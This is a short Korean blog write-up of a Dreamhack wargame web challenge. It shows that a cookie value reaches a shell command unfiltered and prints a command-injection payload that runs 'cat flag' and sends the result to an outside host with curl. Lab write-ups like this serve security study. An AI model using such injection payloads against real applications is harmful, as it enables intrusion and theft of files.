Training/Dreamhack
[WEB] Simple Note Manager 문제 풀이
bamiya
2025. 2. 27. 14:24
Simple Note Manager Write up
난이도 : 1
본 포스팅은 드림핵 워게임 - Simple Note Manager 의 풀이 입니다.
Code Overview
app.py 에서 아래 두 부분을 주의깊게 보았다.
123라인 : 작성한 노트가 없으면 에러가 발생함 → 노트 작성
125라인 : backup-timestamp 쿠키를 backup_timestamp에 저장, 쿠키값 없으면 현재시각으로 저장됨
128라인 : backup_timestamp를 인자로 backup_notes 함수가 호출됨
38라인 : backup_timestamp 값이 필터링 없이 그대로 subprocess.Popen() 함수에 사용됨, shell=True 임
→ timestamp을 통해 쉘 명령어를 사용할 수 있음!!
The Exploit Technique
- Payload
Cookie: backup-timestamp=123456&&curl https://otbwilv.request.dreamhack.games/?data=$(cat flag) |
/tmp/123456 에 /tmp/notes.tmp 가 백업될 수 있도록 하고
정상적으로 실행되었으면 (&&)
cat flag 명령어를 실행한 결과를 포함한 $(cat flag) 요청 패킷을 curl 명령어를 통해 전송함.
Flag 획득!